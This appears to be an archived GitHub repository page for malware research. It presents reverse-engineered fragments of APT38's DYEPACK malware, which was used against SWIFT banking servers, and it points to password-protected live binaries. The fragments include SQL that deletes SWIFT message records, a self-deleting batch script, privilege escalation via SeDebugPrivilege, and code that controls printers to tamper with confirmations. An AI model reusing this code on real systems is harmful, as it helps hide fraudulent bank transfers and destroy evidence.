GitHub - 649/APT38-DYEPACK: Reverse engineered APT38 DYEPACK samples used to empty SWIFT banking servers. Use caution when handling live binaries.

By 649

Archived: 2026-04-05 22:52:07 UTC

Skip to content

Navigation Menu

- AI CODE CREATION
  - GitHub CopilotWrite better code with AI
  - GitHub SparkBuild and deploy intelligent apps
  - GitHub ModelsManage and compare prompts
  - MCP Registry[New]Integrate external tools

View all features

- Pricing

Sign up

- Notifications
- Fork 9
- Star 23
- Code
- Issues
- Pull requests

- Actions
- Projects
- Security and quality
- Insights

Folders and files

Name	Name	Last commit message	Last commit date
Latest commit  649 init Mar 20, 2019 af3f469 · Mar 20, 2019 **History** 7 Commits			
img	img	init	Mar 20, 2019
sample	sample	init	Mar 20, 2019
.gitattributes	.gitattributes	🎉 Added .gitattributes	Jan 4, 2019
.gitignore	.gitignore	init	Jan 4, 2019
README.md	README.md	init	Mar 20, 2019

Repository files navigation

- README

APT38 DYEPACK FRAMEWORK

Reverse engineered using IDA Pro + Ghidra. Live binaries are in /sample/binaries.zip

```
Password: infected
```

DISCLAIMER

Samples are for malware research ONLY. Do not use decompiled versions of the framework to cause harm, I am not responsible for any damages caused. Handle live binaries with care, and use a VM for any dynamic analysis.

```
char aCUsersSAppdata[] = "%c:\\Users\\%s\\AppData\\Local\\%s"; // idb
char aAdministrator[14] = "Administrator"; // weak
char aAllians[8] = "Allians"; // weak
CHAR Srch[] = ".\\\\"   _DO_NOT_USE_MM_"; // idb
CHAR Str2[] = "nak"; // idb
CHAR aOutgo[] = "outgo"; // idb
CHAR aIncom[] = "incom"; // idb
CHAR asc_4050F4[] = "       "; // idb
char aSwiftInput[] = "Swift Input"; // idb
char Str[] = "Swift Output"; // idb
char a28cStatementNu[] = "28C: Statement Number"; // idb
char asc_405130[2] = "-"; // weak
char aDD[] = "%d_%d-"; // idb
char aDDS[] = "%d_%d-%s"; // idb
CHAR aOutgoing[] = "\\Outgoing"; // idb
CHAR aIncoming[] = "\\Incoming"; // idb
```

```
  struct _PRINTER_DEFAULTSA pDefault; // [esp+10h] [ebp-Ch]

  phPrinter = 0;
  pDefault.pDatatype = 0;
  pDefault.pDevMode = 0;
  pDefault.DesiredAccess = 4;
  if ( OpenPrinterA(pPrinterName, &phPrinter, &pDefault) )
  {
    if ( SetPrinterA(phPrinter, 0, pPrinter, Command) )
    {
      printf(aControllingSSu, pPrinterName);
      ClosePrinter(phPrinter);
      result = 0;
    }
    else
    {
      v5 = GetLastError();
      printf(aFailedToContro, Command, v5);
      CloseHandle(phPrinter);
      result = v5;
    }
  }
  else
  {
    v3 = GetLastError();
    printf(aFailedToOpenPr, v3);
    result = v3;
  }
  return result;
}
```

```
.data:0040F19C ; CHAR Name[]
.data:0040F19C Name            db 'SeDebugPrivilege',0 ; DATA XREF: sub_4023B0+42↑o
.data:0040F1AD                 align 10h
.data:0040F1B0 ; char aDeleteFromSaao_0[]
.data:0040F1B0 aDeleteFromSaao_0 db 'DELETE FROM SAAOWNER.TEXT_%s WHERE TEXT_S_UMID = ',27h,'%s',27h,';'
.data:0040F1B0                                         ; DATA XREF: sub_4027C0+FE↑o
.data:0040F1B0                                         ; sub_402900+F3↑o
.data:0040F1B0                 db 0
.data:0040F1E7                 align 4
.data:0040F1E8 ; char aDeleteFromSaao[]
.data:0040F1E8 aDeleteFromSaao db 'DELETE FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = ',27h,'%s',27h,';'
.data:0040F1E8                                         ; DATA XREF: sub_4027C0+C7↑o
.data:0040F1E8                                         ; sub_402900+BC↑o
.data:0040F1E8                 db 0
.data:0040F21F                 align 10h
.data:0040F220 ; char aSelectCTextSUm[]
.data:0040F220 aSelectCTextSUm db 'SELECT C.TEXT_S_UMID FROM (SELECT A.TEXT_S_UMID, A.TEXT_DATA_BLOC'
.data:0040F220                                         ; DATA XREF: sub_4027C0+7C↑o
.data:0040F220                                         ; sub_402C90+5B↑o
.data:0040F220                 db 'K FROM SAAOWNER.TEXT_%s A, SAAOWNER.MESG_%s B WHERE A.TEXT_S_UMID'
.data:0040F220                 db ' = B.MESG_S_UMID AND B.MESG_SENDER_SWIFT_ADDRESS LIKE ',27h,'%%%s'
.data:0040F220                 db '%%',27h,' AND (A.TEXT_DATA_BLOCK LIKE ',27h,'%%%d/%d%%',27h,' OR '
.data:0040F220                 db 'A.TEXT_DATA_BLOCK LIKE ',27h,'%%%d/%.5d%%',27h,')) C WHERE ROWNUM'
.data:0040F220                 db ' = 1;',0
.data:0040F347                 align 4
.data:0040F348 ; char aSelectMesgSUmi[]
.data:0040F348 aSelectMesgSUmi db 'SELECT MESG_S_UMID FROM SAAOWNER.MESG_%s WHERE MESG_SENDER_SWIFT_'
```

```
.data:00403020 ; char Format[]
.data:00403020 Format          db ':L1',0Dh,0Ah        ; DATA XREF: sub_401230+10B↑o
.data:00403020                 db 'DEL "%s"',0Dh,0Ah
.data:00403020                 db 'PING 0.0.0.0 > nul',0Dh,0Ah
.data:00403020                 db 'IF EXIST "%s" GOTO L1',0Dh,0Ah
.data:00403020                 db 'DEL "%%0"',0Dh,0Ah,0
.data:00403066                 align 10h
.data:00403070 dword_403070    dd 1                    ; DATA XREF: start+6F↑r
.data:00403074                 db    0
.data:00403075                 db    0
.data:00403076                 db    0
.data:00403077                 db    0
```

```
.data:0040F7A4 byte_40F7A4     db 0                    ; DATA XREF: sub_4054F0+38↑r
.data:0040F7A5                 align 4
.data:0040F7A8 ; CHAR aC[]
.data:0040F7A8 aC              db '    C',0            ; DATA XREF: sub_405A30:loc_405B08↑o
.data:0040F7A8                                         ; sub_406810:loc_4069BA↑o
.data:0040F7AE                 align 10h
.data:0040F7B0 ; CHAR aD[]
.data:0040F7B0 aD              db '    D',0            ; DATA XREF: sub_405A30:loc_405ADE↑o
.data:0040F7B0                                         ; sub_406810:loc_40698C↑o
.data:0040F7B6                 align 4
.data:0040F7B8 ; char aDebitCreditS[]
.data:0040F7B8 aDebitCreditS   db '     Debit/Credit   : %s',0Ah,0
.data:0040F7B8                                         ; DATA XREF: sub_405BE0+15E↑o
.data:0040F7B8                                         ; sub_406050+193↑o
.data:0040F7D2                 align 4
.data:0040F7D4 aDebit_0        db 'Debit',0            ; DATA XREF: sub_405BE0:loc_405D34↑o
.data:0040F7D4                                         ; sub_406050:loc_4061D9↑o
.data:0040F7DA                 align 4
.data:0040F7DC ; char aCredit[]
.data:0040F7DC aCredit         db 'Credit',0           ; DATA XREF: sub_405BE0:loc_405D2D↑o
.data:0040F7DC                                         ; sub_406050:loc_4061D2↑o ...
.data:0040F80C aRpPurchase     db 'RP Purchase',0      ; DATA XREF: sub_406810+C1↑o
.data:0040F818 ; CHAR a20Transaction_0[]
.data:0040F818 a20Transaction_0 db ' 20: Transaction',0
.data:0040F818                                         ; DATA XREF: sub_406B40:loc_406BF5↑o
.data:0040F829                 align 4
.data:0040F82C ; CHAR PrefixString[]
.data:0040F82C PrefixString    db 'ALI',0              ; DATA XREF: sub_406D80+798↑o
.data:0040F830 ; char aCI64d[]
.data:0040F830 aCI64d          db '%c:%I64d',0         ; DATA XREF: sub_406D80+6B9↑o
.data:0040F839                 align 4
.data:0040F83C ; char Str[]
.data:0040F83C Str             db 'FEDERAL RESERVE BANK',0
.data:0040F83C                                         ; DATA XREF: sub_406D80+21A↑o
.data:0040F83C                                         ; sub_406D80+229↑o
.data:0040F851                 align 4
.data:0040F854 ; char aSDDS[]
.data:0040F854 aSDDS           db '%s\%d_%d-%s',0      ; DATA XREF: sub_406D80+FC↑o
.data:0040F860 ; char aD_0[]
.data:0040F860 aD_0            db '%d_*-*',0           ; DATA XREF: sub_408260+EA↑o
.data:0040F867                 align 4
.data:0040F868 ; char a1[]
.data:0040F868 a1              db '*_1-*',0            ; DATA XREF: sub_408260+3D↑o
.data:0040F86E                 align 10h
.data:0040F870 ; char a04d02d02d[]
```

```
.data:0040FAB4                                          ; _main+33↑o
.data:0040FABF                  align 10h
.data:0040FAC0 ; char aControllingSSu[]
.data:0040FAC0 aControllingSSu db 'Controlling "%s" success.',0Ah,0
.data:0040FAC0                                          ; DATA XREF: sub_409460+A4↑o
.data:0040FADB                  align 4
.data:0040FADC ; char aFailedToContro[]
.data:0040FADC aFailedToContro db 'Failed to control printer. cmd=%d, err=%d',0Ah,0
.data:0040FADC                                          ; DATA XREF: sub_409460+81↑o
.data:0040FB07                  align 4
.data:0040FB08 ; char aFailedToOpenPr[]
.data:0040FB08 aFailedToOpenPr db 'Failed to open printer. err=%d',0Ah,0
.data:0040FB08                                          ; DATA XREF: sub_409460+47↑o
.data:0040FB08                                          ; sub_4095B0+2A↑o
.data:0040FB28 ; char aSubmitted04d02[]
.data:0040FB28 aSubmitted04d02 db 'Submitted : %04d-%02d-%02d %02d:%02d:%02d',0Ah,0
.data:0040FB28                                          ; DATA XREF: sub_4095B0+1F2↑o
.data:0040FB53                  align 4
.data:0040FB54 ; char aPositionD[]
.data:0040FB54 aPositionD       db 'Position : %d',0Ah,0
.data:0040FB54                                          ; DATA XREF: sub_4095B0+1BE↑o
.data:0040FB63                  align 4
.data:0040FB64 ; char aPriorityD[]
.data:0040FB64 aPriorityD       db 'Priority : %d',0Ah,0
.data:0040FB64                                          ; DATA XREF: sub_4095B0+1B0↑o
.data:0040FB73                  align 4
.data:0040FB74 ; char aPagesprintedD[]
```

```
.data:0040F9A0 aWt              db 'wt',0               ; DATA XREF: sub_408B70+CC↑o
.data:0040F9A3                  align 4
.data:0040F9A4 ; CHAR aTmp[4]
.data:0040F9A4 aTmp             db 'TMP',0              ; DATA XREF: sub_408B70+BD↑o
.data:0040F9A8 ; CHAR aSql[4]
.data:0040F9A8 aSql             db 'SQL',0              ; DATA XREF: sub_408B70+9F↑o
.data:0040F9AC ; CHAR aLogin[]
.data:0040F9AC aLogin           db 'Login',0            ; DATA XREF: sub_408E00+7E↑o
.data:0040F9B2                  align 4
.data:0040F9B4 ; char aSelectFromSele[]
.data:0040F9B4 aSelectFromSele db 'SELECT * FROM (SELECT JRNL_DISPLAY_TEXT, JRNL_DATE_TIME FROM SAAO'
.data:0040F9B4                                          ; DATA XREF: sub_408E00+43↑o
.data:0040F9B4                                          ; sub_408EA0+43↑o
.data:0040F9B4                  db 'WNER.JRNL_%s WHERE JRNL_DISPLAY_TEXT LIKE ',27h,'%%LT BBHOBDDHA: '
.data:0040F9B4                  db 'Log%%',27h,' ORDER BY JRNL_DATE_TIME DESC) A WHERE ROWNUM = 1;',0
.data:0040FA69                  align 4
.data:0040FA6C ; CHAR aLogout[]
.data:0040FA6C aLogout          db 'Logout',0           ; DATA XREF: sub_408EA0+7E↑o
.data:0040FA73                  align 4
.data:0040FA74 ; CHAR szVerb[]
.data:0040FA74 szVerb           db 'GET',0              ; DATA XREF: sub_408F40+C1↑o
.data:0040FA78 ; CHAR szVersion[]
.data:0040FA78 szVersion        db 'HTTP/1.1',0         ; DATA XREF: sub_408F40+BB↑o
.data:0040FA81                  align 4
.data:0040FA84 ; char aSS_0[]
.data:0040FA84 aSS_0            db '/%s?%s',0           ; DATA XREF: sub_408F40+39↑o
.data:0040FA8B                  align 4
```

About

Reverse engineered APT38 DYEPACK samples used to empty SWIFT banking servers. Use caution when handling live binaries.

Resources

Readme

Activity

Stars

23 stars

Watchers

2 watching

Forks

9 forks

Source: https://github.com/649/APT38-DYEPACK